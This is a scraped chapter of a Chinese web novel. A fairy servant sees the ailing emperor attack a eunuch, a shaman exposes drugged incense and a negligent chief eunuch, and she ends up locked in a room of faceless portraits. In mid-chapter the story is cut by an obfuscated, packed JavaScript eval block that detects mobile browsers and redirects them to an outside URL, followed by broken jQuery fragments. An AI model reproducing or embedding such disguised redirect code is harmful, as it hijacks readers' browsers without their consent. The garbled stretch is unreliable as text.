默认冷灰
24号文字
方正启体

5. 画像

作者:鹿其本书字数:K更新时间:
    昏黄的寝宫里弥漫着浓香,那味道并不算好闻,甚至过于浓烈,好像在掩盖着些什么,与她在屋外闻到的味道有所不同。


    宣容皱了皱鼻子,在小顺子的催促下靠近龙床。


    果不其然,那尊贵至极的帝王,此时正躺在地面上,神色痛苦,半梦半醒,满头大汗。


    柔软的被子垫在身下半包着他的身子,他却蜷缩着,一副寒冷受冻的模样。


    就连宣容都看出他不对劲,她偷偷伸手摸了一把他的手,发现他的手冰得像是寒冬腊月里的池水,这酷暑当头,一个血气方刚的男人怎会如此?


    小顺子忙着让身旁的太监去请太医和大巫,并未看到她的举动,哪知他的声音一下子将床下的人惊醒。


    被惊醒的帝王瞬间睁开眼,踉跄着站起身,通红的双眼死死盯着身前的小顺子,站在身旁的宣容从他眼里看到的并不是清醒,更像是陷入更深的魇症。


    两人胆战心惊地看着他,生怕他当场发疯,就见他猛地伸出手,狠狠掐住小顺子的脖子,表情凶狠,像是要将他活活掐死。


    小顺子不停挣扎,却不敢用力挣脱,生怕伤了龙体,喉间蹦出几声嘶哑的叫声,听着痛苦万分。


    宣容顾不上什么以下犯上的罪名,伸手去掰赵承允的手,可他手劲极大,看着清瘦的模样,以为养尊处优必然没什么力道,没想到那手劲大到像是足以扛起千斤。


    她一边掰着他的手,一边往后扯,蹬着腿借力,赵承允像是嫌她碍事,用力一把将她推开。


    宣容踉跄了两步,一屁股跌坐在地上。


    她第一次觉得自己的仙术如此鸡肋,竟连一个凡人都对付不了,若是换做别的神仙,挥一挥手就能将人掀翻在地,哪里会这般狼狈。


    宣容忍着痛站起身,看着小顺子挣扎的身子开始渐渐软下,急得不行。


    幸好太医来得及时,应该是随时等候宣召。他轻轻按住赵承允手腕上的一个穴位,使了些巧劲儿,让他松开手,小顺子顺势瘫软在地,捂着胸口咳得面红耳赤,被其他宫人拖到后方。


    也不知道太医做了什么,赵承允重新昏睡过去,被几名宫人手忙脚乱地扶回床上。


    宣容看其他人的表情,明白这次的状况似乎更为严重,看着一脸凝重的太医,她刚想开口问,大巫便急急忙忙从外面走进来,她第一次看他如此慌乱,头上的发簪有些松散,像是刚从睡梦中被人叫醒,便马不停蹄地赶来。


    大巫进门后,看到屋内已有太医,便将目光看向她,表情中带了几分困惑,他掐着手指测算着,垂眸做出几番思索,半晌才恍然大悟。


    宣容还未细究其中蕴含的深意,就听见太医不满道:“既是当值的宫人,怎么如此没有眼力见儿,杵在这干什么?还不出去?”


    大巫见状,拦下他,出声询问道:“陛下如何了?”


    太医起身见礼,恭敬道:“兴许是今日情绪起伏太大,惊扰了,现在重新昏睡,应当无碍。”


    大巫松了口气,却突然皱起眉头,将目光看向香炉的方向,太医顺着他的目光看去,也是同样带着困惑,两人一同来到香炉边,将燃着的香熄灭,仔细研究着。


    这时,一个看着地位不低的太监着急忙慌地闯进来,不知是听了些什么谣传,脸色很不好看,见陛下无碍,便拽着宣容走了出去。


    她不解地跟上去,以为他有什么话要说,结果那太监一出门外,二话不说给了她一巴掌。


    宣容眼疾手快地抓住他的手,没让那巴掌落下,不满道:“你这是做什么?”


    “大胆!杂家罚你,是让你长长记性!你竟然敢挡?”那人气得手脚发抖,被人触犯了威严,那眼神像是要把人生吞活剥。


    宣容这才看到小顺子红着脸跪在不远处,脖子上的印子清晰可见,这刚出鬼门关就被人罚跪,半点道理情分都不讲。


    身旁的宫人都低着头,不敢直视这位大太监,只有宣容仰着脸,满是不服。


    “做人也要讲点道理,他自己没睡好,关旁人什么事?”


    她清楚听到周围人倒吸了一口凉气,想来这人应当是个有些权势的人,正当她思索下一步的时候,大巫适时走了出来。


    “魏总管,何必大动干戈,搞得像是陛下不体恤下人一般。”大巫笑着看向他,语气中却暗含警告。


    魏总管毫无惧意,皮笑肉不笑地回答道:“大巫哪里的话,下人伺候不当,自然是我这个做总管的办事不力,惩戒下人不过是适当的御下之术,你我分工不同,自然无法互相理解,这也正常。”


    说罢,便朝着身后的小太监使了个眼色,想将宣容带离这里。


    听到这,宣容多少看明白了些,这魏总管恐怕是疏于职守,又见今晚事态似乎有些严重,急于找个替死鬼来担责,那这替死鬼肯定就是今晚距离最近的小顺子,以及她自己。


    “魏总管平日里负责安排调度,倒是辛苦,不过我有一事不解,不知可否为我解释一二?”大巫显然明白他的为人,不肯轻易放过此事。


    魏总管一脸不耐,“大巫这是铁了心与杂家过不去了?”


    “平日里疏于职守也就罢了,明知陛下近日病况欲发严重,你却还是只安排了三四个人当值,偌大的寝宫竟能让贼人如入无人之地!”大巫懒得与他多费口舌,将手中的一块黑漆漆的东西砸到他脸上,怒斥道。


    魏总管赤红着脸,刚想反驳,余光看清掉落在地上的东西后,竟吓得连连后退。


    宣容仔细看了一眼,发现那东西有几分像是香炉里燃了半块的熏香。


    她捡起那熏香放到鼻子旁,被大巫一手拍开。


    “当年陛下险些因此丧命,如今那些人故技重施,你伺候了这么久,竟然半点都没发现,这香混在安神香里熏了几日,我倒是想问问总管大人,你可有什么头绪?”大巫眼神凌厉地看着他。


    魏总管擦了擦额头上的汗水,半晌,将矛头对准宣容,揪着她怒道:“我从未见过此人,定是那些人将她派来,给陛下下药的,我...我...”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099072|195680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “我说的便是你疏于职守的问题!凭空多出一个人,你作为总管,半点都没察觉吗?”


    宣容瞪大眼睛看向他,说好保证自己的安全呢!把她抖出来就算了,怎么还乱扣罪名?!


    兴许是她的眼神过于炙热,大巫轻咳一声,正色道:“你也不必随意攀咬,若不是看你疏忽大意,我也不会将她安插在你身边探查,你既不堪托付,等明日陛下醒来,我自会向他禀明一二,容你告老归乡。”


    魏总管还想辩驳,大巫便不知施了什么法术,把那魏总管当场弄晕,将远处的小顺子招来,嘱咐道:“将他带回房内安置,等明日陛下清醒自有定夺。”


    小顺子与另一个人将魏总管带了下去。


    解决完他,大巫便将太医送走,亲自留在宫内照料赵承允,并将宣容留下来。


    “皇帝还挺相信你的。”宣容调侃道。


    大巫睨了她一眼,“你若是从小被人以各种方式残害,那你肯定不会相信任何人。”


    “什么意思?”宣容眉头微蹙。


    “他信的不是我。”大巫摇摇头,指着寝宫大门,说道:“进去看看吧,你既然想知道他是不是残暴不仁,昏庸无道,最好的方式就是自己看。”


    宣容一脸震惊,“你刚说有贼人闯入,给你家陛下下药,现在就让我一个人进去和那暴君同处一室,你别不是要栽赃些什么到我头上,我可告诉你,我不上你的当。”


    大巫拍了拍手,直呼厉害,“你竟如此聪慧,看来是我小看你了。”他的眼神中带着几分戏谑。


    察觉到被耍的宣容一脸不快,“就算你不是栽赃,就不怕我真对你们陛下做些什么?”


    大巫没再废话,把她推进房内,将门重重合上,从屋外卡死。


    宣容听到屋外似乎落了锁,知道走正门亦或大声喧哗都不具可行性后,便想着从侧方绕过,找个窗户跳出去。


    在路过赵承允的时候,她鬼使神差地走过去,盯着他那张眉头紧锁的俊脸看了半晌,内心暗暗称奇,“你家大巫说你从小被人残害,听着倒是可怜,该不会是知道我有心软的毛病,特地框我的吧?”


    床上的赵承允在她的注视下,眉头渐渐放松。


    “你这没用的东西,大虞的百姓过得水深火热,我还以为你日子过得挺滋润,看着也不过如此,那到底是谁在享福?”


    赵承允无意间翻了个身,差点将手搭在她腿边,吓得她起身后退,看来此地不宜久留。


    她绕过龙床,又穿过屏风,看到屏风后的桌子边上有一处敞开的窗户,想走过去,就看到周围挂满了女子的画像。


    那些画像都没有脸,高矮胖瘦各不相同,衣着打扮也各有千秋,但画风看着像是出自一人之手,正中间挂着的那副画,宣容能感觉到画这副画的人倾注了很多心血,画布上泛着毛边,像是被人日日夜夜不停摩挲导致。


    那是一个身着青衣的女子,虽说同样没有脸,但不知为何倍感亲切,让她也忍不住想要伸手抚摸。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)